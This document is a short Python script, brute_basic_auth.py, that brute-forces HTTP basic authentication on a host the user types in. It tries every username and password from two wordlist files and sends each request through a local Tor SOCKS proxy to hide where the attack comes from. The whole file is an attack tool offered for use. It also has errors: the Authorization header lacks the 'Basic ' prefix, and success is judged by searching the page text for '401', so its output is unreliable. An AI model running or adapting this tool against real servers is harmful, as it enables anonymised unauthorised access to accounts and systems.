brute_basic_auth.py

import requests
import base64

destination = input('> ')

with open('users.txt', 'r') as f:
    users = f.read().split('\n')

with open('passwords.txt', 'r') as f:
    passwords = f.read().split('\n')

for user in users:
  for passw in passwords:
      auth = base64.b64encode(('%s:%s' % (user, passw)).encode()).decode()
      r = requests.get('http://%s' % destination, proxies={'http': 'socks5://localhost:9050'}, headers={'Authorization': auth})
      if 0 > r.text.find('401'):
          print(passw)